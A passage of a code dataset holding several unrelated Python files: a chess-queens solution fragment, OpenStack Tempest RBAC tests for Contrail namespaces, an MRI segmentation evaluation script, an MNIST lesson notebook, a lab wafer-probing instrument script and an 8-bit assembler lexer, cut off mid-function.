while 0 <= i < 8 and 0 <= j < 8:\n pos = [i,j]\n if pos in queens:\n result.append(pos)\n break\n i += direction[0]\n j += direction[1]\n return result\n ","repo_name":"kenenisa/CompetitiveProgramming","sub_path":"Day39/queens-that-can-attack-the-king.py","file_name":"queens-that-can-attack-the-king.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37613155348","text":"from oslo_log import log as logging\nfrom patrole_tempest_plugin import rbac_rule_validation\nfrom tempest import config\nfrom tempest.lib.common.utils import data_utils\nfrom tempest.lib import decorators\n\nfrom tungsten_tempest_plugin.tests.api.contrail import rbac_base\n\nCONF = config.CONF\nLOG = logging.getLogger(__name__)\n\n\nclass NamespaceContrailTest(rbac_base.BaseContrailTest):\n \"\"\"Test class to test namespace objects using RBAC roles\"\"\"\n\n def _create_namespace(self):\n fq_name = data_utils.rand_name('namespace')\n post_body = {\n 'parent_type': 'domain',\n 'fq_name': ['default-domain', fq_name]\n }\n resp_body = self.namespace_client.create_namespaces(**post_body)\n namespace_uuid = resp_body['namespace']['uuid']\n self.addCleanup(self._try_delete_resource,\n self.namespace_client.delete_namespace,\n namespace_uuid)\n return namespace_uuid\n\n def _update_namespace(self, namespace_uuid):\n put_body = {\n 'display_name': data_utils.rand_name('namespace')\n }\n self.namespace_client.update_namespace(namespace_uuid, **put_body)\n\n @rbac_rule_validation.action(service=\"Contrail\",\n rules=[\"list_namespaces\"])\n @decorators.idempotent_id('e436390d-d669-4047-9838-421ea93e94be')\n def test_list_namespaces(self):\n \"\"\"test method for list namespace objects\"\"\"\n with self.override_role():\n self.namespace_client.list_namespaces()\n\n @rbac_rule_validation.action(service=\"Contrail\",\n rules=[\"create_namespaces\"])\n @decorators.idempotent_id('503ae445-7e67-4db6-989a-af0b7f9a7e95')\n def test_create_namespaces(self):\n \"\"\"test method for create namespace objects\"\"\"\n with self.override_role():\n self._create_namespace()\n\n @rbac_rule_validation.action(service=\"Contrail\",\n rules=[\"show_namespace\"])\n @decorators.idempotent_id('f916971a-7c07-4386-b887-8b78d8a1e528')\n def test_show_namespace(self):\n \"\"\"test method for show namespace objects\"\"\"\n namespace_uuid = self._create_namespace()\n with self.override_role():\n self.namespace_client.show_namespace(namespace_uuid)\n\n @rbac_rule_validation.action(service=\"Contrail\",\n rules=[\"update_namespace\"])\n @decorators.idempotent_id('3649f65a-922a-4b8a-9b8b-520c333e192e')\n def test_update_namespace(self):\n \"\"\"test method for update namespace objects\"\"\"\n namespace_uuid = self._create_namespace()\n with self.override_role():\n self._update_namespace(namespace_uuid)\n\n @rbac_rule_validation.action(service=\"Contrail\",\n rules=[\"delete_namespace\"])\n @decorators.idempotent_id('80e736bf-fc7d-4274-8173-a50c883776a9')\n def test_delete_namespace(self):\n \"\"\"test method for delete namespace objects\"\"\"\n namespace_uuid = self._create_namespace()\n with self.override_role():\n self.namespace_client.delete_namespace(namespace_uuid)\n","repo_name":"tungstenfabric/tungsten-tempest","sub_path":"tungsten_tempest_plugin/tests/api/contrail/test_namespace.py","file_name":"test_namespace.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"4793632740","text":"import argparse\nimport glob\nimport os\nfrom multiprocess.dummy import Pool\nfrom tqdm import tqdm_notebook as tqdm\nimport nibabel as nib\nimport pandas as pd\nfrom data_curation.helper_functions import move_smallest_axis_to_z\nfrom evaluation.eval_utils.eval_functions import ErrorDetMetrics, dice, volume_difference_ratio\n\n\ndef get_arguments():\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--test_dir\", help=\"specifies test directory of segmentation errors data\",\n type=str, required=True)\n parser.add_argument(\"--output_path\", help=\"specifies output path, expected to be .xlsx format\",\n type=str, required=True)\n parser.add_argument(\"--diff_truth_filename\", help=\"specifies the filename of truth errors\",\n type=str, default='')\n return parser.parse_args()\n\n\ndef evaluate_error_slices_detection(cases_pathes):\n error_pred_scores = {}\n metrics = ['precision_all', 'recall_all', 'precision_100', 'recall_100', 'precision_300', 'recall_300',\n 'precision_500', 'recall_500', 'precision_800', 'recall_800',\n 'pred_num_error_slices', 'num_slices', 'dice_before_correction', 'dice_after_correction',\n 'dice_after_rand_correction', 'dice_after_rand_nonzero_correction', 'vdr_before_correction',\n 'vdr_after_correction', 'vdr_after_rand_correction', 'vdr_after_rand_nonzero_correction',\n 'dice_percentage_correction', 'vdr_percentage_correction', 'dice_rand_nonzero_percentage_correction',\n 'vdr_rand_nonzero_percentage_correction', 'dice_rand_percentage_correction',\n 'vdr_rand_percentage_correction', 'dice_seq_percentage_correction', 'vdr_seq_percentage_correction']\n\n for metric in metrics:\n error_pred_scores[metric] = {}\n\n def process_sub(case_dir):\n subject_id = os.path.basename(case_dir)\n print('processing case ' + subject_id)\n prediction = nib.load(os.path.join(case_dir, 'prediction.nii.gz')).get_data()\n prediction, swap_axis = move_smallest_axis_to_z(prediction)\n prediction_soft = nib.load(os.path.join(case_dir, 'prediction_soft.nii.gz')).get_data()\n prediction_soft, swap_axis = move_smallest_axis_to_z(prediction_soft)\n truth = nib.load(os.path.join(case_dir, 'truth.nii.gz')).get_data()\n truth, swap_axis = move_smallest_axis_to_z(truth)\n mask = nib.load(os.path.join(case_dir, 'mask.nii.gz')).get_data()\n mask, swap_axis = move_smallest_axis_to_z(mask)\n truth_unified = nib.load(os.path.join(case_dir, 'truth_unified.nii.gz')).get_data()\n truth_unified, swap_axis = move_smallest_axis_to_z(truth_unified)\n\n error_det_metrics = ErrorDetMetrics()\n precision_all = error_det_metrics.error_slices_det_precision(truth, prediction, 0)\n error_pred_scores['precision_all'][subject_id] = precision_all\n recall_all = error_det_metrics.error_slices_det_recall(truth, prediction, 0, relaxation=False)\n error_pred_scores['recall_all'][subject_id] = recall_all\n precision_100 = error_det_metrics.error_slices_det_precision(truth, prediction, 100)\n error_pred_scores['precision_100'][subject_id] = precision_100\n recall_100 = error_det_metrics.error_slices_det_recall(truth, prediction, 100, relaxation=False)\n error_pred_scores['recall_100'][subject_id] = recall_100\n precision_300 = error_det_metrics.error_slices_det_precision(truth, prediction, 300)\n error_pred_scores['precision_300'][subject_id] = precision_300\n recall_300 = error_det_metrics.error_slices_det_recall(truth, prediction, 300, relaxation=False)\n error_pred_scores['recall_300'][subject_id] = recall_300\n precision_500 = error_det_metrics.error_slices_det_precision(truth, prediction, 500)\n error_pred_scores['precision_500'][subject_id] = precision_500\n recall_500 = error_det_metrics.error_slices_det_recall(truth, prediction, 500, relaxation=False)\n error_pred_scores['recall_500'][subject_id] = recall_500\n precision_800 = error_det_metrics.error_slices_det_precision(truth, prediction, 800)\n error_pred_scores['precision_800'][subject_id] = precision_800\n recall_800 = error_det_metrics.error_slices_det_recall(truth, prediction, 800, relaxation=False)\n error_pred_scores['recall_800'][subject_id] = recall_800\n dice_after_correction, vdr_after_correction, num_slices = error_det_metrics.eval_after_slice_correction(mask, prediction, truth_unified)\n error_pred_scores['pred_num_error_slices'][subject_id] = num_slices\n error_pred_scores['num_slices'][subject_id] = truth_unified.shape[2]\n error_pred_scores['dice_before_correction'][subject_id] = dice(truth_unified, mask)\n error_pred_scores['dice_after_correction'][subject_id] = dice_after_correction\n dice_after_rand_correction, vdr_after_rand_correction = error_det_metrics.eval_after_random_correction(mask, truth_unified, num_slices)\n error_pred_scores['dice_after_rand_correction'][subject_id] = dice_after_rand_correction\n dice_after_rand_nonzero_correction, vdr_after_rand_nonzero_correction = error_det_metrics.metrics_after_random_nonzero_correction(mask, truth_unified, num_slices)\n error_pred_scores['dice_after_rand_nonzero_correction'][subject_id] = dice_after_rand_nonzero_correction\n error_pred_scores['vdr_before_correction'][subject_id] = abs(volume_difference_ratio(truth_unified, mask))\n error_pred_scores['vdr_after_correction'][subject_id] = abs(vdr_after_correction)\n error_pred_scores['vdr_after_rand_correction'][subject_id] = abs(vdr_after_rand_correction)\n error_pred_scores['vdr_after_rand_nonzero_correction'][subject_id] = abs(vdr_after_rand_nonzero_correction)\n dice_scores, vdr_scores = error_det_metrics.eval_after_slice_correct_different_percentages(mask, prediction_soft, truth_unified)\n error_pred_scores['dice_percentage_correction'][subject_id] = dice_scores\n error_pred_scores['vdr_percentage_correction'][subject_id] = vdr_scores\n dice_scores_rand_nonzero, vdr_scores_rand_nonzero = error_det_metrics.eval_after_rand_nonzero_correct_percentages(mask, truth_unified)\n error_pred_scores['dice_rand_nonzero_percentage_correction'][subject_id] = dice_scores_rand_nonzero\n error_pred_scores['vdr_rand_nonzero_percentage_correction'][subject_id] = vdr_scores_rand_nonzero\n dice_scores_rand, vdr_scores_rand = error_det_metrics.eval_after_rand_correct_percentages(mask, truth_unified)\n error_pred_scores['dice_rand_percentage_correction'][subject_id] = dice_scores_rand\n error_pred_scores['vdr_rand_percentage_correction'][subject_id] = vdr_scores_rand\n dice_scores_seq, vdr_scores_seq = error_det_metrics.eval_after_sequential_correction_different_percentages(mask, truth_unified)\n error_pred_scores['dice_seq_percentage_correction'][subject_id] = dice_scores_seq\n error_pred_scores['vdr_seq_percentage_correction'][subject_id] = vdr_scores_seq\n\n with Pool() as pool:\n list(tqdm(pool.imap_unordered(process_sub, cases_pathes), total=len(cases_pathes)))\n\n return error_pred_scores\n\n\nif __name__ == '__main__':\n\n opts = get_arguments()\n dirs = glob.glob(os.path.join(opts.test_dir,'*'))\n cases_pathes = []\n for case_dir in dirs:\n if os.path.isdir(case_dir):\n cases_pathes.append(case_dir)\n error_pred_scores = evaluate_error_slices_detection(cases_pathes)\n pred_df = pd.DataFrame.from_dict(error_pred_scores)\n\n writer = pd.ExcelWriter(opts.output_path, engine='xlsxwriter')\n pred_df.to_excel(writer, sheet_name='detection_eval')\n dice_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['dice_percentage_correction']).T\n dice_percentage_correction.to_excel(writer, sheet_name='dice_percentage_correction')\n vdr_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['vdr_percentage_correction']).T\n vdr_percentage_correction.to_excel(writer, sheet_name='vdr_percentage_correction')\n dice_rand_nonzero_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['dice_rand_nonzero_percentage_correction']).T\n dice_rand_nonzero_percentage_correction.to_excel(writer, sheet_name='dice_rand_nonzero_percent')\n vdr_rand_nonzero_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['vdr_rand_nonzero_percentage_correction']).T\n vdr_rand_nonzero_percentage_correction.to_excel(writer, sheet_name='vdr_rand_nonzero_percent')\n dice_rand_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['dice_rand_percentage_correction']).T\n dice_rand_percentage_correction.to_excel(writer, sheet_name='dice_rand_percent')\n vdr_rand_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['vdr_rand_percentage_correction']).T\n vdr_rand_percentage_correction.to_excel(writer, sheet_name='vdr_rand_percent')\n dice_seq_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['dice_seq_percentage_correction']).T\n dice_seq_percentage_correction.to_excel(writer, sheet_name='dice_seq_percent')\n vdr_seq_percentage_correction = pd.DataFrame.from_dict(error_pred_scores['vdr_seq_percentage_correction']).T\n vdr_seq_percentage_correction.to_excel(writer, sheet_name='vdr_seq_percent')\n writer.save()\n\n\n","repo_name":"AnnaLevch/fetal_mr","sub_path":"evaluation/detection/error_slices_detection.py","file_name":"error_slices_detection.py","file_ext":"py","file_size_in_byte":9422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22160727419","text":"from itertools import islice\nfrom pathlib import Path\nimport pickle, gzip, math, os, time, shutil, matplotlib as mpl, matplotlib.pyplot as plt\n\n\nMNIST_URL='https://github.com/mnielsen/neural-networks-and-deep-learning/blob/master/data/mnist.pkl.gz?raw=true'\npath_data = Path('data')\npath_data.mkdir(exist_ok=True)\npath_gz = path_data/'mnist.pkl.gz'\n\n#%%\n\nfrom urllib.request import urlretrieve\nif not path_gz.exists(): urlretrieve(MNIST_URL, path_gz)\n\nwith gzip.open(path_gz, 'rb') as f: ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding='latin-1')\n#%%\nlst1 = list(x_train[0])\nvals = lst1[200:210]\nvals\n\n# will soon be itertools.batched\ndef chunks(x, sz):\n for i in range(0, len(x), sz): yield x[i:i+sz]\n\n\nmpl.rcParams['image.cmap'] = 'gray'\nplt.imshow(list(chunks(lst1, 28)))\nplt.show()\n#%%\nit = iter(lst1)\nimg = list(iter(lambda: list(islice(it, 28)), []))\nclass Matrix:\n def __init__(self, data):\n self._data = data\n\n def __getitem__(self, key):\n res = self._data\n if isinstance(key, int):\n return self._data[key]\n elif isinstance(key, tuple):\n cpy = self._data\n for i in key:\n cpy = cpy[i]\n return cpy\n return key\n\nmm = Matrix(img)\nmm[20,15]\n\n","repo_name":"danohu/cyborg_creation","sub_path":"notebooks/lesson_10.py","file_name":"lesson_10.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35689076359","text":"# main wafer probing routine\nimport pylab as pl\nimport visa\nimport numpy as np\nfrom utilities import *\n\nrm = visa.ResourceManager() # setup GPIB communications\nprint (rm.list_resources())\n\nfrom pna import Pna\nfrom parameter_analyzer import ParameterAnalyzer # IV and bias\n\n# network analyzer\n#from plotSmeas import dataPlotter\nfrom device_parameter_request import DeviceParameters\nfrom IVplot import *\niv = ParameterAnalyzer(rm,includeAMREL=False,ptype=True) # setup IV and bias\npna = Pna(rm,2) # setup network analyzer\n#iv = ParameterAnalyzer(rm) # setup IV and bias\n#sp = dataPlotter()\n\n\ngatecomp = 0.01 # gate current compliance in A\ndraincomp = 0.1 # drain current compliance in A\n\nVds_bias=-1.\nwafername=\"QH10meas13\"\npathname=\"C:/Users/test/python/data/\"+wafername\ndevicename=\"C9_R5_T100_D23\"\niv.fetbiasoff()\nVgs_bias=np.linspace(-1,0,11)\n#Vgs_bias=np.linspace(-0.6,0,4)\n#Vgs_bias=[-3.,-2.8,-2.5,-2.2,-2.,-1.8,-1.5,-1.] # Vgs array of gate biases for S-parameters\n#Vgs_bias=[-2.2,-1.8]\nX=0\nY=0\nnoitermax=10\n#iv.fetbiasoff()\n#quit()\niv.measure_ivtransfer_topgate(inttime=\"2\", delaytime=0.2, Vds=Vds_bias, Vgs_start=-1., Vgs_stop=0, Vgs_step=.1, gatecomp=gatecomp, draincomp=draincomp)\niv.writefile_ivtransfer(pathname=pathname,devicename=devicename,wafername=wafername,xloc=0,yloc=0,devicenamemodifier='RFamp_Aug19_2019'+formatnum(Vds_bias,precision=2)+'V')\n#quit()\nfor Vgs in Vgs_bias:\n\tId,Ig,drainstatus,gatestatus=iv.fetbiason_topgate(Vds=Vds_bias, Vgs=Vgs, gatecomp=gatecomp, draincomp=draincomp,timeiter=0.2,maxchangeId=0.5,maxtime=1.)\t\t\t\t# bias device\n\tprint(\"Vgs Vds Id, Ig 1st\",Vgs,Vds_bias,Id,Ig)\n\tpna.pna_getS_2port(1)\t\t\t\t\t\t\t\t\t\t\t\t# get the S-parameters\n\tS21last=[lintodB(abs(pna.s21[i])*abs(pna.s21[i])) for i in range(0,len(pna.s21))] # S21 in dB\n\tmaxdiff=10000. # ensure at least one loop\n\tnoiter=0\n\twhile (maxdiff>0.2 and noiter 3) and (line[pos + 2].name == 'dup'):\n temp_line = line[pos + 3:]\n temp_line.append(Comma(','))\n temp_line *= line[pos + 1].value\n del temp_line[-1]\n del line[pos + 1:]\n line += temp_line\n\n self.instance_check(1, line[pos+1:pos+2], [pattern[1]], line_num)\n self.allocate_apply(line[pos + 1], line_num)\n for i in range(pos + 2, len(line), 2):\n self.instance_check(2, line[i:i+2], pattern, line_num)\n self.allocate_apply(line[i + 1], line_num)\n\n if isinstance(line[0], Variable):\n line[0].allocate = self.allocate\n line[0].value = line[2].value\n self.value = line[2].value\n\n elif name in ('equ', '='):\n if line[pos + 1].size > line[pos - 1].allocate:\n line[pos - 1].allocate = line[pos + 1].size\n line[pos - 1].size = line[pos + 1].size\n # raise WrongOperandSize(line_num, 1, line[pos + 1])\n line[pos - 1].value = line[pos + 1].value\n return -1\n\n elif name == 'org':\n if (pos or (not isinstance(line[pos + 1], Immediate)) or\n (line[pos + 1].allocate > 2)):\n raise WrongParameterException(line_num, name)\n self.value = line[pos + 1].value\n if not Lexer.ORG:\n Lexer.ORG = line[pos + 1].value\n return -1\n\n elif name in ('end', 'endp'):\n return -1\n\n def allocate_apply(self, token: Token, line_num):\n if token.allocate is not None:\n if self.allocate < token.allocate:\n raise WrongOperandSize(line_num, self.allocate, token)\n\n elif (isinstance(token, Immediate) and\n (self.allocate > token.allocate)):\n token.allocate = self.allocate\n token.size = self.allocate\n\n\nclass Operand(Token):\n def __init__(self, name, group=None):\n super().__init__('Operand', group=group, name=name)\n\n @staticmethod\n def is_this(line, pos):\n if (line[pos][0].isdigit() or\n line[pos] in ('a', 'b', 'c', 'd', 'e', 'h', 'l', 'mem', '?') or\n line[pos][0] in ('\"', \"'\", '-', '(')):\n return Operand.get_token(line, pos)\n return False\n\n @staticmethod\n def get_token(line, pos):\n return Operand(name=line[pos]).specify(line, pos)\n\n def specify(self, line, pos):\n if (line[pos][0].isdigit() or line[pos][0] in ('\"', \"'\", '-') or\n line[pos] == '?'):\n val = Immediate.value_parse(line[pos])\n if isinstance(val, Undefined):\n return val\n return Immediate(line[pos], val)\n\n elif line[pos].startswith('('):\n return Immediate(line[pos], line[pos][1:-1].split())\n\n # elif line[pos] == '?':\n # return\n\n return Register(line[pos])\n\n def syntax_check(self, line_num, pos, line):\n if not pos:\n raise WrongParameterException(line_num, self.name)\n\n\nclass Register(Operand):\n def __init__(self, reg):\n super().__init__(group='Register', name=reg)\n self.allocate = 1\n self.code = self._get_code(self.name)\n\n @staticmethod\n def _get_code(name):\n code = {\n 'a': 0b000,\n 'b': 0b001,\n 'c': 0b010,\n 'd': 0b011,\n 'e': 0b100,\n 'h': 0b101,\n 'l': 0b110,\n 'mem': 0b111\n }\n return code.get(name)\n\n\nclass Immediate(Operand):\n def __init__(self, name: str, value=None):\n super().__init__(group='Immediate', name=name)\n self.value = value\n self.type = None\n self._set_allocate()\n self._set_size()\n\n @staticmethod\n def value_parse(value: str):\n if value[0].isdigit() or (value[0] == '-'):\n if value.endswith('b') and re.match(r'^-?[01]+$', value[:-1]):\n return Immediate._get_value(value[:-1], 2) # bin\n\n elif ((value.endswith('o') or value.endswith('q')) and\n re.match(r'^-?[0-8]+$', value[:-1])):\n return Immediate._get_value(value[:-1], 8) # oct\n\n elif (value.endswith('h') and\n re.match(r'^-?[\\d]+[\\da-f]*$', value[:-1])):\n return Immediate._get_value(value[:-1], 16) # hex\n\n elif value.endswith('d') and re.match(r'^-?[\\d]+$', value[:-1]):\n return Immediate._get_value(value[:-1], 10) # dec\n\n elif re.match(r'^-?[\\d]+$', value):\n return Immediate._get_value(value, 10) # dec\n\n elif value == '?':\n return 0\n\n elif re.match(r\"\"\"('.*?')|(\".*?\")\"\"\", value):\n return value[1:-1] # ascii\n\n return Undefined()\n\n @staticmethod\n def _get_value(value, base):\n value = int(value, base)\n return value\n # if -128 <= value <= 255:\n # return value\n\n def _set_allocate(self):\n if isinstance(self.value, (str, list)) or (-128 <= self.value <= 255):\n self.allocate = 1 # BYTE\n elif -32768 <= self.value <= 65535:\n self.allocate = 2 # WORD\n elif (2 ** (8 * 4)) / -2 <= self.value <= (2 ** (8 * 4)) - 1:\n self.allocate = 4 # DWORD\n elif (2 ** (8 * 8)) - 2 <= self.value <= (2 ** (8 * 8)) - 1:\n self.allocate = 8 # QWORD\n elif (2 ** (8 * 10)) / 2 <= self.value <= (2 ** (8 * 10)) - 1:\n self.allocate = 10 # 10 BYTES\n else:\n print(type(self.value), self.value)\n raise TypeError\n\n def _set_size(self):\n # self.size = self.allocate\n if isinstance(self.value, str):\n self.size = len(self.value)\n else:\n self.size = self.allocate\n\n def generate(self, line, pos, l_num):\n if isinstance(self.value, str):\n zeros = ((self.allocate * (\n (len(self.value) // self.allocate) +\n bool(len(self.value) % self.allocate)\n )) - len(self.value))\n values = [ch for ch in bytes(self.value, encoding='ascii')]\n return values + ([0] * zeros)\n\n elif line[pos - 1].name in ('in', 'out'):\n return []\n else:\n if self.value < 0:\n signed = True\n elif self.allocate == 1 and self.value > 127:\n signed = False\n elif self.allocate == 2 and self.value > 32_767:\n signed = False\n elif self.allocate == 4 and self.value > 2_147_483_647:\n signed = False\n elif self.allocate == 8 and self.value > ((2 ** 64) / 2) - 1:\n signed = False\n elif self.allocate == 10 and self.value > ((2 ** 80) / 2) - 1:\n signed = False\n else:\n signed = False\n\n return [i for i in self.value.to_bytes(self.allocate, 'little',\n signed=signed)]\n\n def syntax_check(self, line_num, pos, line):\n if line[pos - 1] in ('in', 'out') and self.value > 15:\n raise WrongOperandValue(line_num, self.value)\n\n\nclass Name(Operand, Token):\n def __init__(self, name, group=None, value_type=None):\n Token.__init__(self, 'Name', group=group)\n self.value_type = value_type # address, data, constant\n self.type = None\n self.name = name\n\n @staticmethod\n def is_this(line, pos):\n if re.match(r'^[a-z_][a-z\\d?@_$]{0,31}:?$', line[pos]):\n return Name.get_token(line, pos)\n return False\n\n @staticmethod\n def get_token(line, pos):\n return Name(line[pos]).specify(line, pos)\n\n def specify(self, line, name_pos):\n if name_pos != 0:\n # if (len(line[name_pos]) >= 3) and\n return self\n\n if line[0].endswith(':'):\n line[0] = line[0][:-1]\n return self._label(line[0]) # Label\n\n elif len(line) < 2:\n return Undefined()\n\n elif len(line) == 2:\n if line[1] == 'proc':\n return self._label(line[0]) # Label\n elif line[1] == 'endp':\n return self._label(line[0])\n elif len(line) >= 3:\n if line[1] == 'proc':\n del line[1:]\n return self._label(line[0]) # Label\n elif line[1] == 'label':\n del line[1:]\n return self._label(line[0]) # Label\n\n elif line[1] in ('db', 'dw', 'dd', 'dq', 'dt'):\n return self._variable(line, name_pos) # Variable\n\n elif line[1] in ('equ', '='):\n del line[3:]\n return self._symbol(line[0]) # Symbol\n\n return Undefined()\n\n def syntax_check(self, line_num, pos, line):\n return True\n\n @staticmethod\n def _label(name):\n return Label(name)\n\n @staticmethod\n def _variable(line, name_pos):\n\n return Variable(line[name_pos])\n\n @staticmethod\n def _symbol(name):\n return Symbol(name)\n\n def __repr__(self):\n return f'[{self.cls}: {self.group}: \"{self.name}\": {self.value}]'\n\n def generate(self, line, pos, l_num):\n ret = []\n if pos:\n if self.value is None:\n raise NameIsNotDefined(l_num, self.name)\n ret = [i for i in self.value.to_bytes(self.allocate, 'little',\n signed=True)]\n return ret\n\n\nclass Label(Name):\n \"\"\"\n :\n Examples:\n CLEAR_SCREEN: MOV AL,20H\n FOO: DB 0FH\n SUBROUTINE3:\n\n LABEL NEAR\n LABEL FAR\n Examples:\n FOO LABEL NEAR\n GOO LABEL FAR\n\n PROC\n PROC NEAR\n PROC FAR\n Examples:\n REPEAT PROC NEAR\n CHECKING PROC ;same as CHECKING PROC NEAR\n FIND_CHR PROC FAR\n\n EXTRN :NEAR\n EXTRN :FAR\n Examples:\n EXTRN FOO:NEAR\n EXTRN ZOO:FAR\n\n \"\"\"\n\n def __init__(self, name):\n super().__init__(name, group='Label', value_type='address')\n self.segment = None\n self.offset = None # 16-bit unsigned number.\n self.type = None # NEAR (2 byte pointer) or FAR (4 byte pointer).\n self.cs_assume = None\n self.allocate = 2\n self.size = 2\n\n def generate(self, line, pos, l_num):\n if pos:\n return [i for i in self.value.to_bytes(self.allocate, 'little',\n signed=False)]\n return []\n\n\nclass Variable(Name):\n \"\"\"\n ;no colon!\n - DB/DW/DD/DQ/DT\n \n - STRUC\n \n - RECORD\n Example:\n START_MOVE DW ?\n\n CORRAL STRUC\n *\n *\n *\n ENDS\n HORSE CORRAL <'SADDLE'>\n\n GARAGE RECORD CAR:8='P'\n SMALL GARAGE 10 DUP(<'Z'>)\n\n LABEL \n is one of the following size specifiers:\n BYTE - specifies 1 byte\n WORD - specifies 2 bytes\n DWORD - specifies 4 bytes\n QWORD - specifies 8 bytes\n TBYTE - specifies 10 bytes\n Example:\n CURSOR LABEL WORD\n\n EXTRN :\n Example:\n EXTRN FOO:DWORD\n\n \"\"\"\n\n def __init__(self, name, allocate=None):\n super().__init__(name, group='Variable', value_type='data')\n self.segment = None\n self.offset = None # 16-bit unsigned number.\n self.type = None\n self.allocate = allocate\n # Directive Tvpe Size\n # DB BYTE 1 byte\n # DW WORD 2 bytes\n # DD DWORD 4 bytes\n # DQ QWORD 8 bytes\n # DT TBYTE 10 bytes\n\n def generate(self, line, pos, l_num):\n if pos:\n if isinstance(self.value, str):\n return [ch for ch in bytes(self.value, encoding='ascii')]\n else:\n return [i for i in self.value.to_bytes(self.allocate, 'little',\n signed=True)]\n return []\n\n\nclass Symbol(Name):\n \"\"\"\n EQU \n may be another symbol, an instruction mnemonic,\n a valid expression, or any other entry (such as text or\n indexed references).\n Examples:\n FOO EQU 7H\n ZOO EQU FOO\n\n = \n may be any valid expression.\n Examples:\n GOO = 0FH\n GOO = $+2\n GOO = GOO+FOO\n\n EXTRN :ABS\n Examples:\n EXTRN BAZ:ABS\n BAZ must be defined by an EQU or = directive to a valid expression.\n\n \"\"\"\n\n def __init__(self, name):\n super().__init__(name, group='Symbol', value_type='constant')\n self.allocate = 1\n self.size = 1\n\n def generate(self, line, pos, l_num):\n if line[pos - 1].name in ('in', 'out'):\n return []\n if pos:\n if isinstance(self.value, str):\n return [ch for ch in bytes(self.value, encoding='ascii')]\n else:\n return [i for i in self.value.to_bytes(self.allocate, 'little',\n signed=True)]\n return []\n\n\nclass NameTable:\n def __init__(self):\n self.table = {}\n\n def add_name(self, name_token: Name):\n if name_token.name in self.table:\n return\n self.table[name_token.name] = name_token\n\n def get(self, name):\n result = None\n try:\n result = self.table.get(name)\n except KeyError:\n result = None\n finally:\n return result\n\n def __repr__(self):\n return str(self.table)\n\n def __getitem__(self, name):\n return self.table.get(name)\n\n def __iter__(self):\n for key in self.table:\n yield key\n\n def __len__(self):\n return len(self.table)\n\n\nclass Lexer:\n ORG = 0\n\n def __init__(self, text: str):\n self._lines = text.splitlines()\n self._table = {}\n self._name_table = NameTable()\n self.listing = []\n\n def analyze(self, verbose):\n for l_number in range(len(self._lines)):\n line = self._lines[l_number]\n if not len(line):\n continue\n parts = self._splitter(line)\n if not len(parts):\n continue\n tokens = []\n for pos in range(len(parts)):\n token = self._token_converter(parts, pos)\n if token is None:\n continue\n elif isinstance(token, Undefined):\n raise WrongParameterException(l_number + 1, parts[pos])\n tokens.append(token)\n if (isinstance(token, Name) and\n token.group is not None and\n not pos):\n self._name_table.add_name(token)\n self._table[l_number + 1] = tokens\n\n self._analyze_names()\n\n self._syntax_analyze()\n\n for name in self._name_table:\n if isinstance(self._name_table[name], Label):\n self._name_table[name].value += Lexer.ORG\n\n self._math_calculate()\n\n if verbose:\n print('\\nName Table')\n for i in self._name_table:\n print(f'{self._name_table[i]}')\n \n for i in sorted(self._table):\n print('\\n', i, end=': ')\n for j in self._table[i]:\n print(j, j.size, j.allocate, end=', ')\n # print(i, self._table[i])\n\n def _analyze_names(self):\n for num in sorted(self._table):\n for pos in range(len(self._table[num])):\n if (isinstance(self._table[num][pos], Name) and\n self._table[num][pos].group is None and\n self._table[num][pos].name in self._name_table):\n self._table[num][pos] =\\\n self._name_table[self._table[num][pos].name]\n\n @staticmethod\n def _token_converter(line: list, pos: int):\n spaces = [Comma, Action, Operand, Name]\n\n for space in spaces:\n try:\n token = space.is_this(line, pos)\n except IndexError:\n return None\n else:\n if token:\n return token\n return Undefined()\n\n @staticmethod\n def _splitter(line: str):\n parts = []\n\n comment_idx = re.search(r';.*', line)\n if comment_idx:\n line = line[:comment_idx.start(0)]\n\n while True:\n string = re.search(r\"\"\"('.*?')|(\".*?\")\"\"\", line)\n string2 = re.search(r'\\(.+\\)', line)\n if string:\n parts += line[:string.start()].replace(',',\n ' , ').lower().split()\n parts.append(line[string.start():string.end()])\n line = line[string.end():]\n\n elif string2:\n parts += line[:string2.start()].replace(',',\n ' , ').lower().split()\n parts.append(line[string2.start():string2.end()])\n line = line[string2.end():]\n\n else:\n parts += line.replace(',', ' , ').lower().split()\n break\n\n return parts\n\n def _syntax_analyze(self):\n address_gen = 0\n for l_num in sorted(self._table):\n for pos in range(len(self._table[l_num])):\n resp = self._table[l_num][pos].syntax_check(l_num, pos,\n self._table[l_num])\n if resp == -1:\n del self._table[l_num]\n break\n size = self._table[l_num][pos].size\n if not pos and isinstance(self._table[l_num][pos], Label):\n self._table[l_num][pos].value = address_gen\n continue\n elif not pos and isinstance(self._table[l_num][pos], Symbol):\n continue\n address_gen += size\n\n def _math_calculate(self):\n for l_num in sorted(self._table):\n for pos in range(len(self._table[l_num])):\n if (isinstance(self._table[l_num][pos], Immediate) and\n isinstance(self._table[l_num][pos].value, list)):\n value = self._table[l_num][pos].value\n for i in range(len(value)):\n res = self._name_table.get(value[i].lower())\n if res:\n value[i] = str(res.value)\n ev = self._eval(ast.parse(' '.join(value),\n mode='eval').body)\n self._table[l_num][pos].value = ev\n\n for name in self._name_table:\n if isinstance(self._name_table.get(name).value, list):\n value = self._name_table.get(name).value\n for i in range(len(value)):\n res = self._name_table.get(value[i].lower())\n if res:\n value[i] = str(res.value)\n ev = self._eval(ast.parse(' '.join(value), mode='eval').body)\n self._name_table[name].value = ev\n\n def _eval(self, node):\n operators = {ast.Add: op.add, ast.Sub: op.sub, ast.USub: op.neg,\n ast.BitXor: op.xor, ast.BitAnd: op.and_, ast.BitOr: op.or_,\n ast.LShift: op.lshift, 